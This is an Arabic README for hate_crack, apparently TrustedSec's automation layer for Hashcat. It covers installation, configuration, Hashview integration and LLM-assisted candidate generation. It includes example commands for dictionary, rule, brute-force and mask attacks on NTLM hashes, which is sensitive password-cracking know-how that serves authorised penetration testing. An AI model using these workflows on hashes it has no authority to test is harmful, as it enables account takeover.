
hate_crack v2.36.1
أداة لأتمتة منهجيات التكسير عبر Hashcat من فريق TrustedSec.
___ ___ __ _________ __
/ | \_____ _/ |_ ____ \_ ___ \____________ ____ | | __
/ ~ \__ \\ __\/ __ \ / \ \/\_ __ \__ \ _/ ___\| |/ /
\ Y // __ \| | \ ___/ \ \____| | \// __ \\ \___| <
\___|_ /(____ /__| \___ >____\______ /|__| (____ /\___ >__|_ \
\/ \/ \/_____/ \/ \/ \/ \/
التثبيت
التثبيت من المصدر هو المسار الوحيد المدعوم. hate_crack ليس
موزعًا على PyPI: الأمر pip install hate-crack يُحل إلى عنصر نائب بإصدار 0.0.0
يفشل عن قصد ويشير إلى هنا. الاسم محجوز فقط حتى لا يتمكن أي شخص آخر من نشر نسخة مشابهة تحته — راجع
packaging/pypi-placeholder/.
1. تثبيت hashcat
يجب تثبيت Hashcat وأن يكون متاحًا في PATH الخاص بك:
Ubuntu/Kali:```bash sudo apt-get install -y hashcat
macOS (Homebrew):```bash
brew install hashcat
أو قم بتنزيل ملف ثنائي جاهز من https://hashcat.net/hashcat/ واضبط hcatPath في config.json على موقعه.
2. تنزيل hate_crack
استنسخ مع الوحدات الفرعية (مطلوب لـ hashcat-utils وprinceprocessor وpcfg_cracker وCorporate_Masks واختياريًا omen):```bash git clone --recurse-submodules https://github.com/trustedsec/hate_crack.git cd hate_crack
إذا قمت بالاستنساخ بدون الوحدات الفرعية، فقم بتهيئتها:```bash
git submodule update --init --recursive
ثم خصّص الإعدادات إذا لزم الأمر. يستخدم hate_crack ملفَّي إعدادات، لكلٍّ منهما مجموعة مميزة من الإعدادات:
config.json— مسارات قوائم الكلمات، والأقنعة، والقواعد، والضبط الدقيق، وملف potfile، ومسار hashcat، وحدود المرشحين، ومفاتيح تشغيل الإشعارات، والإعدادات الافتراضية لتفضيلات سطر الأوامر (35 إعدادًا)..env— إعدادات التكامل مع الأطراف الثالثة فقط: بيانات اعتماد Hashview وHashmob، وبيانات اعتماد Pushover، وOllama، وpipal (14 إعدادًا). غير متتبَّع بواسطة git، ويُنشأ بوضع0600.
يقع الخط الفاصل هناك لسبب واحد: .env هو الملف الذي يمكن أن يحتوي على أسرار. بيانات الاعتماد الخاصة بخدمات الأطراف الثالثة وإعداداتها توضع في الملف غير المتتبَّع ذي الوضع 0600؛ وكل ما يفعله hate_crack محليًا يبقى في config.json، وهو آمن للمشاركة والمقارنة والتدوين في ملاحظاتك الخاصة. ولهذا أيضًا توجد بيانات اعتماد Pushover في .env بينما توجد مفاتيح تشغيل/إيقاف Pushover في config.json — فالمفاتيح تفضيلات محلية وليست أسرارًا.
لكل مفتاح موطن واحد بالضبط. المفتاح الموضوع في الملف الآخر يُتجاهَل، ويطبع hate_crack تحذيرًا يسمّي الملف الذي ينتمي إليه. ويمكن مع ذلك تجاوز أي مفتاح لتشغيل واحد عبر تصدير متغير البيئة الخاص به. يمكن لمعظم المستخدمين تخطي هذه الخطوة لأن المسارات الافتراضية تعمل مباشرةً.
config.json دائم ومن الدرجة الأولى — فهو غير مهجور ولا يوجد جدول زمني لإزالته. إعدادات التكامل فقط هي التي انتقلت.
هل ترقّي من config.json واحد؟ يهاجره hate_crack نيابةً عنك عند أول تشغيل: تُنسخ إعدادات التكامل إلى ملف .env جديد بوضع 0600، ثم تُزال من config.json حتى لا يدّعيها الملفان معًا. ويطبع المفاتيح التي انتقلت (وليس قيمها أبدًا)، ويحفظ نسختك الأصلية باسم config.json.pre-split.bak قبل المساس بها. ويُترك كل ما تبقى في config.json كما كان بالضبط، بما في ذلك ترتيب المفاتيح.
أول تشغيل: ينشئ hate_crack كلا الملفين نيابةً عنك، فلا يوجد ما تفعله. لإعداد .env يدويًا بدلًا من ذلك، انسخ القالب المتتبَّع:```bash
cp .env.example .env
chmod 600 .env
يُلتزم بملف `.env.example` ويُشحن مع كل مفتاح اعتماد فارغ. أما `.env` نفسه فيجب **ألا** يُلتزم به أبدًا — فهو مُستبعَد عبر gitignore، إلى جانب صيغ النسخ الاحتياطي المعتادة له، ويقوم hate_crack دائمًا بإنشائه بصلاحيات `0600` (قراءة/كتابة للمالك فقط). يُولَّد `.env.example` من المخطط؛ أعد توليده بعد تغيير `hate_crack/config_schema.py` باستخدام `uv run python -m hate_crack.config_writer`.
### 3. تثبيت التبعيات و hate_crack
أسهل طريقة هي تشغيل `make` (أو `make install`)، والذي يكتشف نظام التشغيل تلقائيًا ويثبّت:
- التبعيات الخارجية (p7zip، transmission-daemon / transmission-remote)
- يبني الوحدات الفرعية (hashcat-utils، princeprocessor، pcfg_cracker، واختياريًا omen) ويستخرج مجموعة الأقنعة Corporate_Masks الخاصة بالبيانات فقط
- تبعيات Python عبر uv وواجهة CLI في `~/.local/bin/hate_crack````bash
make
هذا ثابت النتيجة (idempotent) - يتخطى الأدوات المثبتة بالفعل. لفرض إعادة تثبيت نظيفة:```bash make reinstall
**أو قم بتثبيت التبعيات يدويًا:**
### التبعيات الخارجية
هذه مطلوبة لبعض عمليات التنزيل/الاستخراج:
- `7z`/`7za` (p7zip) — يُستخدم لاستخراج أرشيفات `.7z`.
- `transmission-daemon` / `transmission-remote` — يُستخدم لتنزيل ملفات torrent الخاصة بـ Weakpass.
أوامر التثبيت اليدوي:
Ubuntu/Kali:```bash
sudo apt-get update
sudo apt-get install -y p7zip-full transmission-daemon
macOS (Homebrew):```bash brew install p7zip transmission-cli # provides transmission-daemon and transmission-remote
ثم قم بتثبيت تبعيات Python وواجهة CLI:```bash
uv sync
mkdir -p ~/.local/bin
printf '#!/usr/bin/env bash\nset -euo pipefail\nexec uv run --directory %s python -m hate_crack "$@"\n' "$(pwd)" > ~/.local/bin/hate_crack
chmod +x ~/.local/bin/hate_crack
بنية المشروع
تم الآن تقسيم المنطق الأساسي إلى وحدات تحت hate_crack/:
hate_crack/cli.py: مساعدات argparse وتجاوزات الإعدادات.hate_crack/api.py: تكاملات Hashview وWeakpass وHashmob (التنزيلات/القوائم/المساعدات).hate_crack/attacks.py: معالجات هجمات القوائم.hate_crack/corpus_stats.py: إحصاءات كلمات المرور للمجموعة الكاملة المستخدمة لوصف مجموعة للـ LLM.hate_crack/plaintext.py: يستعيد كلمة المرور من سطر المجموعة (إزالة بادئة الهاش، فك ترميز$HEX[...]); مشترك بين أوضاع LLM وcorpus_stats وrulegen.hate_crack/llm.py: توليد مرشحات LLM منظمة (JSON) عبر Atomic Agents.hate_crack/menu.py: عارض القوائم المشترك، بما في ذلك التنقل الاختياري بمفاتيح الأسهم.hate_crack/noninteractive.py: موزّع أوامر الهجوم النصية الفرعية.hate_crack/notify/: حزمة الإشعارات (خلفية Pushover، متتبع لكل كسر).hate_crack/username_detect.py: يكتشف ملفات الإدخالusername:hashلتحديد خيار--usernameفي hashcat.hate_crack/formatting.py،hate_crack/progress.py: مساعدات تنسيق المخرجات وعرض التقدم.hate_crack/main.py: التنفيذ الرئيسي لواجهة سطر الأوامر.
يبقى hate_crack.py في المستوى الأعلى نقطة الدخول الرئيسية وينسّق هذه الوحدات.
المراجع والشكر
يعتمد هذا المشروع على عدد من المشاريع والخدمات الخارجية ويستلهم منها. شكراً لـ:
- Hashview (http://github.com/hashview/)
- Weakpass (https://weakpass.com)
- Hashmob (https://hashmob.net)
الاستخدام
بعد التثبيت باستخدام make، شغّل hate_crack من أي مكان:```bash
hate_crack
or with arguments:
hate_crack <hash_file> <hash_type> [options]
بدلاً من ذلك، شغّله عبر `uv`:```bash
uv run hate_crack.py <hash_file> <hash_type>
التشغيل كأداة (موصى به)
التثبيت باستخدام make من جذر المستودع - يقوم هذا ببناء الوحدات الفرعية وتجميع الأصول:```bash
cd /path/to/hate_crack
make
hate_crack
يقوم أمر `make install` بإنشاء bash shim في `~/.local/bin/hate_crack` يعمل من دليل المستودع، بحيث يتم العثور على الإعدادات والملفات دائمًا بغض النظر عن دليل العمل الحالي.
يتم أيضًا البحث عن الإعدادات في:
- جذر المستودع ودليل الحزمة
- `~/.hate_crack`
**ملاحظة:** إن `hcatPath` في `config.json` مخصص لموقع ملف hashcat الثنائي فقط (اختياري إذا كان hashcat في PATH). يتم تحميل ملفات Hate_crack (hashcat-utils، princeprocessor، pcfg_cracker، Corporate_Masks، omen) من دليل المستودع وتُضمَّن تلقائيًا بواسطة `make install`.
### التشغيل كسكربت
يستخدم السكربت shebang الخاص بـ `uv`. اجعله قابلًا للتنفيذ وشغّله:```bash
chmod +x hate_crack.py
./hate_crack.py
يمكنك أيضًا استخدام Python مباشرةً:```bash python hate_crack.py
### الاستخدام غير التفاعلي / البرمجي
للأتمتة يمكنك تشغيل هجوم واحد مباشرةً، متجاوزًا القائمة. اسم الهجوم هو الوسيط الأول، يليه ملف التجزئة ونوع تجزئة hashcat. تقبل مطالبات المعالجة المسبقة (تصفية حسابات الكمبيوتر، القوة الغاشمة LM-first، إزالة تكرار الحسابات) قيمها الافتراضية تلقائيًا في هذا الوضع. تنتهي العملية بـ `0` عند النجاح وبقيمة غير صفرية عند الخطأ (ملف تجزئة مفقود، نوع تجزئة غير رقمي، قائمة كلمات مفقودة، أو اسم ملف قاعدة غير معروف).```bash
# Quick crack: one wordlist + optional rule(s) from the rules directory
hate_crack quick hashes.txt 1000 --wordlist rockyou.txt --rules best64.rule
# Chain two rules in a single run
hate_crack quick hashes.txt 1000 --wordlist rockyou.txt --rules best64.rule+d3ad0ne.rule
# Run two rules as two separate passes
hate_crack quick hashes.txt 1000 --wordlist rockyou.txt --rules best64.rule d3ad0ne.rule
# Canned dictionary methodology (uses your configured wordlists)
hate_crack dict hashes.txt 1000
# Brute force lengths 1-8
hate_crack brute hashes.txt 1000 --min 1 --max 8
# Top-mask attack targeting ~4 hours
hate_crack topmask hashes.txt 1000 --target-time 4
استكشاف الأخطاء وإصلاحها
خطأ: "would clobber existing tag" عند التحديث
قد ترفض نسخة قديمة التحديث، وتطبع قائمة طويلة من الأسطر مثل:``` ! [rejected] v2.5.0 -> v2.5.0 (would clobber existing tag)
يؤثر هذا على النسخ المستنسخة التي أُنشئت قبل يوليو 2026. أُعيد كتابة السجل المنشور آنذاك لإزالة بعض الملفات التي ما كان ينبغي إيداعها قط، مما منح كل إيداع معرّفًا جديدًا؛ لذا تشير وسوم النسخة الأقدم إلى كائنات لم يعد هذا المستودع يحتوي عليها، ويرفض git نقل وسم يمتلكه بالفعل. لا يوجد خطب في نسختك المحلية ولا أي بيانات كسر معرّضة للخطر.
استعد بتهيئة لمرة واحدة. يؤدي هذا إلى تجاهل الإيداعات والتعديلات المحلية في نسختك، لذا إن كنت قد خصّصت أي شيء يتتبعه git (على عكس `config.json`، الذي لا يُتتبع)، فأودعه في فرع أولًا:```bash
cd /path/to/hate_crack
git fetch --tags --force origin
git checkout -B main origin/main
make install
--force هنا يقوم فقط بتحديث الوسوم؛ لا يمكنه المساس بالـ commits الخاصة بك. بعد ذلك يعمل
المُحدِّث المدمج بشكل طبيعي. الإصدارات قبل 2.18 لم تكن قادرة على إجراء هذا
الاسترداد بنفسها، ولهذا يجب القيام به يدويًا مرة واحدة.
خطأ: دليل البناء غير موجود
إذا رأيت خطأً مثل:``` Error: Build directory /opt/hashcat/hashcat-utils does not exist. Expected to find expander at /opt/hashcat/hashcat-utils/bin/expander.
هذا يعني أن أصول hate_crack لم تُضمَّن في الحزمة المثبَّتة.
**فهم المسارات:**
- `hcatPath` في config.json → يشير إلى **موقع hashcat binary** (اختياري، يمكن أن يكون في PATH)
- `hashcat-utils/` و `princeprocessor/` → تُضمَّن في الحزمة بواسطة `make install`
**الحل:**
أعد التثبيت باستخدام Makefile، الذي يبني الوحدات الفرعية ويثبّت الأداة:```bash
cd /path/to/hate_crack # the repository checkout
make install
التكوين الافتراضي (config.json.example):
يمكن لمعظم المستخدمين استخدام الإعدادات الافتراضية دون تخصيص:
hcatWordlists:./wordlists(نسبةً إلى جذر المستودع أو HOME/.hate_crack)hcatOptimizedWordlists:./optimized_wordlists(الدليل المستخدم بواسطة Quick Crack؛ يعود إلىhcatWordlistsإذا لم يتم العثور عليه)rules_directory:./hashcat/rules(يتضمن قواعد الوحدة الفرعية)hcatTuning: `` (سلسلة فارغة - لا توجد أعلام ضبط افتراضية)
أمثلة على تخصيصات config.json:```json { "hcatPath": "/usr/local/bin", # Location of hashcat binary (optional, auto-detected from PATH) "hcatBin": "hashcat", # Hashcat binary name "hcatWordlists": "./wordlists", # Dictionary wordlist directory (relative or absolute) "rules_directory": "./hashcat/rules", # Rules directory (relative or absolute) "hcatTuning": "", # Additional hashcat flags (empty by default) ... }
**تحميل الإعدادات:**
- الأولوية لكل مفتاح: `os.environ` > ملف المنزل الخاص بذلك المفتاح (`.env` أو `config.json`) > الإعداد الافتراضي المدمج
- المفاتيح المفقودة تعود إلى الإعدادات الافتراضية المدمجة؛ `config.json.example` يوثّق كل مفتاح في `config.json`
- يتم البحث عن كلا الملفين، بشكل مستقل عن بعضهما البعض، بهذا الترتيب: **جذر المستودع**، ثم **دليل الحزمة المثبّتة**، ثم **`~/.hate_crack`**. أول تطابق يفوز؛ من الطبيعي أن يأتي الملفان من دليلين مختلفين.
- عند التشغيل الأول، يتم إنشاء كليهما — `config.json` من `config.json.example`، و`.env` من الإعدادات الافتراضية المدمجة. إذا كان `config.json` أقدم لا يزال يحتوي على مفاتيح التكامل، يتم نسخها إلى `.env` الجديد ويخبرك hate_crack بالمفاتيح التي يجب حذفها من `config.json`؛ وهو لا يعدّل ذلك الملف بنفسه أبدًا.
- في كل تشغيل، يطبع hate_crack الملفين اللذين حمّلهما فعليًا: ```
[*] config.json: /home/you/.hate_crack/config.json
[*] .env: /home/you/.hate_crack/.env
اقرأ هذين السطرين قبل تصحيح إعداد "لا يسري مفعوله". هما موجودان بسبب فخّين في ترتيب البحث:
- نسخة مستخرجة تتفوق على دليل المنزل الخاص بك. يتم البحث في جذر المستودع أولاً، لذا فإن ملف
.envأوconfig.jsonالموجود في أي نسخة مستخرجة تشغّل الأداة منها يتفوق على الموجود في~/.hate_crack— وتشغيل الأداة من نسخة مستخرجة هو بالضبط ما ينشئ تلك الملفات هناك في المقام الأول. إذا حدث أن حجب هذا إعداد~/.hate_crackحقيقي، فإن hate_crack الآن يصرّح بذلك عبر سطر ثالث[!]يسمّي كلا المسارين — تعامل مع ذلك السطر على أنه "الملف أدناه يتم تجاهله"، وليس كإعداد ثانٍ صالح بالقدر نفسه. - دليل العمل الحالي لا يتم البحث فيه أبداً. يتم تجاهل ملف
.envفي الدليل الذي تصادف وقوفك فيه، عن قصد: أدلة المهام مليئة بملفات لم يقصد أحد أن تكون إعدادات. ضعه في جذر المستودع أو في~/.hate_crack.
خطأ: merge with ref 'refs/heads/master' but no such ref was fetched
إذا رأيت:``` Your configuration specifies to merge with the ref 'refs/heads/master' from the remote, but no such ref was fetched.
تمت إعادة تسمية الفرع الافتراضي من `master` إلى `main`. أصلح ذلك باستخدام:```bash
git remote set-head origin -a
git branch -m master main
git branch --set-upstream-to=origin/main main
git pull
أهداف Makefile
الافتراضي (التثبيت الكامل) - يبني الوحدات الفرعية، ويثبّت التبعيات، ويثبّت الأداة:```bash make
or explicitly:
make install
هذا عملية عديمة التأثير - يتخطى الأدوات المثبتة بالفعل.
**إعادة تثبيت نظيفة قسرية:**```bash
make reinstall
تحديث سريع - يعيد بناء الوحدات الفرعية ويعيد تثبيت الأداة (بعد سحب التغييرات):```bash make update
**إلغاء التثبيت** - يزيل تبعيات نظام التشغيل والأداة:```bash
make uninstall
بناء hashcat-utils فقط:```bash make hashcat-utils
**تشغيل الاختبارات** - يتعامل تلقائيًا مع HATE_CRACK_SKIP_INIT عند الحاجة:```bash
make test
تقرير التغطية:```bash make coverage
**تنظيف مخرجات البناء/الاختبار:**```bash
make clean
التطوير
إعداد بيئة التطوير
قم بتثبيت المشروع مع تبعيات التطوير الاختيارية (تشمل أدوات الفحص والاختبار):```bash make dev-install
### تشغيل أدوات الفحص والتحقق من الأنواع
قبل دفع التغييرات، شغّل هذه الفحوصات محليًا. استخدم `make lint` لكل شيء، أو شغّل الفحوصات الفردية:
**Ruff (الفحص والتنسيق):**```bash
make ruff
# or manually:
uv run ruff check hate_crack tests tools packaging hate_crack.py
إصلاح المشكلات تلقائيًا:```bash uv run ruff format hate_crack tests tools packaging hate_crack.py uv run ruff check --fix hate_crack tests tools packaging hate_crack.py
**ty (فحص الأنواع):**```bash
make ty
# or manually:
uv run ty check hate_crack
تشغيل جميع الفحوصات معًا:```bash make lint
### تشغيل الاختبارات
تكتشف الاختبارات تلقائيًا عندما لا تكون الوحدات الفرعية مبنية وتضبط `HATE_CRACK_SKIP_INIT=1` تلقائيًا.```bash
make test
أو شغّل pytest مباشرةً:```bash uv run pytest -v
مع التغطية:```bash
make coverage
أو باستخدام pytest:```bash uv run pytest --cov=hate_crack
### Git Hooks (prek)
تُدار Git hooks بواسطة [prek](https://github.com/j178/prek) (v0.3.3+). ثبّت الـ hooks باستخدام:```bash
prek install --hook-type pre-push --hook-type pre-commit
يقوم هذا بتثبيت الخطافات المعرّفة في prek.toml باستخدام مخطط TOML الخاص بالمستودع المحلي pre-commit:
- pre-push (خطافات محلية): ruff، ruff-format، ty، pytest، pytest-lima، bandit
- pre-commit (من
pre-commit/pre-commit-hooks): trailing-whitespace، end-of-file-fixer، check-yaml، check-merge-conflict، check-added-large-files، detect-private-key
تقوم أدوات الإصلاح التلقائي في pre-commit بإعادة كتابة الملفات في مكانها، لذا أعد تجهيزها والتزامها مرة أخرى بعد تشغيلها.
ملاحظة: يتوقع prek 0.3.3 وجود repos = [...] في المستوى الأعلى. صيغة [hooks.<stage>] commands = [...] القديمة غير مدعومة.
التنقل في القوائم بمفاتيح الأسهم
تستخدم القوائم افتراضيًا التحديد الكلاسيكي المرقّم عبر print() + input()، والذي
يقبل مفاتيح متعددة الأرقام كاملة.
لتمكين التنقل بمفاتيح الأسهم عبر simple-term-menu، اضبط
HATE_CRACK_ARROW_MENU=1. في هذا الوضع تعمل مفاتيح الاختصار أحادية الرقم فقط؛
يجب الوصول إلى الخيارات المرقّمة 10 وما فوق باستخدام مفاتيح الأسهم. يتطلب وضع
مفاتيح الأسهم أيضًا وجود TTY، لذا يبقى معطّلًا عند توجيه المخرجات عبر أنبوب.
تبعيات التطوير
تتضمن المجموعة الاختيارية [dev] ما يلي:
- ty - مدقّق أنواع ثابت
- ruff - أداة فحص وتنسيق Python سريعة
- pytest - إطار عمل للاختبار
- pytest-cov - تقارير التغطية
الخيارات الشائعة:
--download-hashview: تنزيل التجزئات من Hashview قبل الكسر.--hashview: قائمة Hashview التفاعلية لإدارة التجزئات وقوائم الكلمات والمهام.--hashview --help: عرض خيارات سطر أوامر Hashview.--weakpass: تنزيل قوائم الكلمات من Weakpass.--hashmob: تنزيل قوائم الكلمات من Hashmob.net.--hashmob-masks: تنزيل الأقنعة من Hashmob.net.--download-torrent <FILENAME>: تنزيل ملف torrent محدد من Weakpass.--download-all-torrents: تنزيل جميع ملفات torrent المتاحة من Weakpass من ذاكرة التخزين المؤقت.--wordlists-dir <PATH>/--optimized-wordlists-dir <PATH>: تجاوز أدلة قوائم الكلمات.--pipal-path <PATH>: تجاوز مسار pipal.--restore-potfile: إعادة بناء<hashfile>.outمن ملف POT الخاص بـ hashcat عند بدء التشغيل، مع استبدال أي محتويات موجودة، ثم المتابعة إلى القائمة العادية. بدون هذا الخيار يعمل البحث في POT فقط عندما لا يكون.outموجودًا بالفعل. يقوم خيار القائمة 93 بنفس الشيء عند الطلب، مع مطالبة تأكيد.--maxruntime <SECONDS>: تجاوز الحد الأقصى لوقت التشغيل.--bandrel-basewords <PATH>: تجاوز ملف bandrel basewords.--update: التحديث إلى أحدث إصدار وإعادة التثبيت. يبدّل نسخة الشيفرة إلىmainإذا كانت على فرع آخر، لأن وسوم الإصدارات توجد هناك.--nightly: التحديث إلى أحدث إصدار ليلي بدلًا من ذلك، من فرعnightly-dev. اجتازت الإصدارات الليلية CI لكنها ليست جزءًا من إصدار مقطوع. يمكن أيضًا كتابتها--update --nightly.--no-optimized-kernel(أو--no-optimize): عدم تمرير-Oإلى hashcat طوال التشغيل. يتجاوزoptimizedKernelAttacksفيconfig.jsonويزيل أي-Oتضعها فيhcatTuning. لا يُكتب أي شيء مرة أخرى إلى الإعدادات، لذا ينطبق على هذا التشغيل فقط. مع أمر فرعي، ضعه قبل الأمر الفرعي:./hate_crack.py --no-optimize quick hashes.txt 1000 --wordlist words.txt.--debug: تمكين تسجيل التصحيح (يكتب إلى stderr).
تكامل Hashview
يتكامل hate_crack مع Hashview لإدارة التجزئات المركزية والكسر الموزّع.
القائمة التفاعلية
للوصول إلى قائمة Hashview التفاعلية:```bash hate_crack.py --hashview
خيارات القائمة:
- **(1) Upload Cracked Hashes** - رفع النتائج المُفكَّكة من الجلسة الحالية إلى Hashview
- **(2) Upload Wordlist** - رفع ملف قائمة كلمات إلى Hashview
- **(3) Download Wordlist** - تنزيل قائمة كلمات من Hashview
- **Download Rule** - تنزيل ملف قواعد من Hashview (يُفكّ ضغطه إلى نص عادي، جاهز لـ `hashcat -r`). أدخل `a` (أو `all`) عند مطالبة معرّف القاعدة لتنزيل كل قاعدة مُدرجة بدلاً من واحدة
- **Download All Rules** - تنزيل كل ملف قواعد مُدرج من Hashview في تمريرة واحدة؛ يتم الإبلاغ عن إخفاقات كل قاعدة دون إلغاء البقية
- **(4) Download Left Hashes** - تنزيل التجزئات المتبقية غير المُفكَّكة (يُطالب بالتبديل للتفكيك)
- **(5) Download Found Hashes** - تنزيل التجزئات المُفكَّكة بالفعل مع كلمات المرور الصريحة (للمراجعة/التحليل)
- **(6) Upload Hashfile and Create Job** - رفع ملف تجزئات جديد وإنشاء مهمة تفكيك
- **(99) Back to Main Menu** - العودة إلى القائمة الرئيسية
**مهم: Download Found مقابل Download Left**
- **Download Left Hashes (4)**: ينزّل التجزئات غير المُفكَّكة التي تحتاج إلى تفكيك. يدمج تلقائياً مع أي تجزئات موجودة إن وُجدت، ويُطالب بالتبديل إلى ملف التجزئات هذا للتفكيك.
- **Download Found Hashes (5)**: ينزّل التجزئات المُفكَّكة بالفعل بصيغة hash:cleartext. هذه للمراجعة ولا يمكن تفكيكها أكثر. لا تظهر مطالبة التبديل.
#### واجهة سطر الأوامر
يمكن أيضاً تنفيذ عمليات Hashview عبر سطر الأوامر:
رفع التجزئات المُفكَّكة:```bash
hate_crack.py --hashview upload-cracked --file <output_file>.out --hash-type 1000
تحميل قائمة كلمات:```bash hate_crack.py --hashview upload-wordlist --file .txt --name "My Wordlist"
تنزيل ملف قواعد (يُحفظ بعد فك الضغط، جاهز لـ `hashcat -r`):```bash
hate_crack.py --hashview download-rules --rules-id 4 --output best64.rule
تنزيل التجزئات المتبقية (التجزئات غير المفكوكة لفك التشفير):```bash hate_crack.py --hashview download-left --customer-id 1 --hashfile-id 123
تنزيل التجزئات التي تم العثور عليها (التجزئات التي تم كسرها بالفعل مع النص الواضح):```bash
hate_crack.py --hashview download-found --customer-id 1 --hashfile-id 123
تحميل ملف التجزئة وإنشاء مهمة:```bash
hate_crack.py --hashview upload-hashfile-job --file hashes.txt --customer-id 1
--hash-type 1000 --job-name "NTLM Crack Job" --hashfile-name "Domain Hashes"
#### الإعدادات
قم بتعيين بيانات اعتماد Hashview في `.env` (فهي إعدادات تكامل، لذا لا توجد في `config.json`):```
HASHVIEW_URL=https://hashview.example.com
HASHVIEW_API_KEY=your-api-key-here
HASHVIEW_VERIFY_TLS=true
HASHVIEW_VERIFY_TLS القيمة الافتراضية له هي true: يتحقق hate_crack من شهادة TLS الخاصة بخادم Hashview، وسيفشل الاتصال بـ Hashview الذي يستخدم شهادة موقّعة ذاتيًا أو صادرة عن CA داخلي حتى يتم الوثوق بتلك الشهادة (أضفها إلى مخزن الثقة في نظامك، أو استخدم شهادة صادرة عن CA يثق به نظامك بالفعل). إذا لم يكن ذلك ممكنًا، اضبط HASHVIEW_VERIFY_TLS=false -- سيطبع hate_crack تحذيرًا من سطر واحد يذكر اسم المضيف عند كل بدء عملية عندما يكون التحقق معطّلًا، لأن تعطيله يزيل الحماية ضد خادم منتحل أو مهاجم على المسار يعترض الاتصال.
إعداد LLM
يولّد هجوم LLM (الخيار 12) وهجوم Rosetta Mask (الخيار 23) مرشحاتهما باستخدام نموذج محلي. اضبط النموذج ونافذة السياق ومهلة الطلب في .env:```
LLM_BACKEND=ollama
OLLAMA_MODEL=qwen3:4b-instruct
OLLAMA_NUM_CTX=8192
OLLAMA_TIMEOUT=300
**مفاتيح `OLLAMA_*` أدناه تنطبق على كل الواجهات الخلفية، وليس على Ollama فقط.** تحتفظ بهذه البادئة لأن `OLLAMA_HOST` هو نفس المتغير الذي يقرأه CLI الخاص بـ Ollama، وإعادة تسميتها ستُعطّل كل ملف `.env` موجود دون أي مكسب وظيفي — خادم vLLM أو متوافق مع OpenAI يريد نفس المضيف والنموذج والمهلة والسياق ومقابض أخذ العينات تحت نفس الأسماء. `LLM_BACKEND` يحدد فقط كيفية تشكيل الطلب.
- **`OLLAMA_MODEL`** — نموذج Ollama المستخدم لتوليد المرشحات (الافتراضي: `qwen3:4b-instruct`). يستخدم هجوم LLM مخرجات منظمة (JSON)، لذا اختر نموذجًا يتمتع بدعم جيد للأدوات/JSON.
- **`OLLAMA_NUM_CTX`** — حجم نافذة السياق للنموذج (الافتراضي: `8192`). كان هذا `2048` قبل إدخال إحصاءات المدونة، وهو صغير جدًا لاستيعاب المطالبة التي كان يُعطى إياها: 500 نص عادي مُعيّن يستهلك تقريبًا 2,000–3,500 رمز قبل مطالبة النظام والاستجابة، لذا كان Ollama يقتطع بصمت جزءًا من العينة التي كان المُعيّن قد وزّعها بعناية عبر الملف.
- **`OLLAMA_TIMEOUT`** — الثواني للانتظار قبل التخلي عن استجابة التوليد (الافتراضي: `300`). ارفع هذا إذا كان نموذج كبير لا يزال يُحمّل إلى VRAM عند الطلب الأول، والذي قد يتجاوز المهلة بخلاف ذلك؛ يطبع hate_crack المهلة المنقضية واسم هذا الإعداد عند تفعيله.
- **`OLLAMA_MAX_SAMPLE_LINES`** — العتبة التي تحتها تلصق أوضاع LLM أيضًا النصوص العادية الحرفية في المطالبة (الافتراضي: `500`). القيم ≤ 0 تُعامل كـ 500.
الأوضاع المستمدة من المدونة (**Wordlist**، **Cracked passwords**، **Pattern rules**) تصف دائمًا المدونة *بالكامل* إحصائيًا — حصص الكلمات الأساسية، والأقنعة، وحالة الأحرف، والأطوال، والأرقام والرموز اللاحقة، والسنوات — بدلًا من لصق شريحة منها. التجميع محدود، لذا فإن تفريغًا من 120,000 كلمة مرور يستهلك تقريبًا نفس مساحة المطالبة التي يستهلكها تفريغ من 500 سطر. عندما تندرج المدونة بأكملها تحت هذه العتبة، تُضمَّن النصوص العادية الخام أيضًا، لأنه لا يُكتسب شيء من إخفاء مدونة صغيرة عن النموذج.
هذا يحل محل السلوك السابق المتمثل في لصق عينة موزعة بالتساوي من حتى `ollamaMaxSampleLines` كلمة مرور. عينة من تفريغ كبير لم تنقل أي معلومات تكرار على الإطلاق: لم يستطع النموذج التمييز بين كلمة أساسية يستخدمها 8% من المؤسسة وكلمة يستخدمها شخص واحد، وهو بالضبط الإشارة التي تجعل التخمين يستحق التشغيل.
- **`OLLAMA_NO_CLOUD`** — عند `true`، ارفض إرسال أي شيء خارج هذا المضيف، لأي من الواجهات الخلفية الثلاث لـ LLM (Ollama أو vLLM أو خادم عام متوافق مع OpenAI). يتم التحكم بفحصين عبر هذا الإعداد الواحد: يوجّه Ollama نموذجًا موسومًا بـ `-cloud` (`gpt-oss:120b-cloud`، `deepseek-v3.1:671b-cloud`) إلى ollama.com عبر نفس نقطة النهاية المحلية التي يستخدمها النموذج المحلي، لذا لا يبدو أي شيء في الطلب مختلفًا — ويُرفض ذلك باسم النموذج. يتم فحص عنوان URL للواجهة الخلفية المُهيأة أيضًا: الوجهة التي ليست loopback أو خاصة أو link-local (وليست `localhost` أو اسمًا ينتهي بـ `.local`/`.internal`/`.lan`/`.localdomain`) تُرفض حسب الوجهة، واسم المضيف الذي لا يستطيع هذا الفحص تحليله يُرفض أيضًا، بنهج fail-closed، بدلًا من تمرير وجهة غير قابلة للتحقق. تحمل مطالبات hate_crack نصوصًا عادية مستردة، وإحصاءات المدونة، واسم العميل وصناعته وموقعه، لذا فإن تفعيل أي من الفحصين يعني رفض الطلب قبل بنائه. الافتراضي هو `false`، لذا يستمر نموذج سحابي أو خادم بعيد مُهيأ عن قصد في العمل؛ شغّله في المهام التي يجب ألا تغادر فيها بيانات العميل المضيف.
- **`OLLAMA_AUTO_RESEARCH`** — عند `true` (الافتراضي)، يسأل وضع **Target info** النموذج المحلي اقتراح الصناعة والموقع والشركة الأم / تاريخ الاستحواذ بمجرد كتابة اسم الشركة، ويقدمها كإعدادات افتراضية قابلة للتحرير للمطالبة. اضبطه على `false` للحصول دائمًا على مطالبات فارغة (مفيد مع نموذج بطيء، لأن البحث يكلف رحلة ذهاب وإياب إضافية واحدة قبل بدء الهجوم).
- **`OLLAMA_HOST`** — حيث تستمع الواجهة الخلفية المُهيأة. يقبل `host:port` مجردًا (`theplague.lan:11434`) أو عنوان URL كاملًا مع مخطط (`https://ollama.example.com`)؛ في كلتا الحالتين يُطبَّع عنوان URL الأساسي قبل الاستخدام. الافتراضي هو `localhost:11434`، وهو منفذ Ollama — خادم vLLM أو متوافق مع OpenAI يحتاج إلى ضبط هذا على منفذه الخاص (غالبًا ما يستمع vLLM على `:8000`). اضبطه في `.env`، أو صدّره كمتغير بيئة حقيقي لتجاوز ذلك لتشغيل واحد — إنه نفس اسم المتغير الذي يقرأه CLI الخاص بـ Ollama.
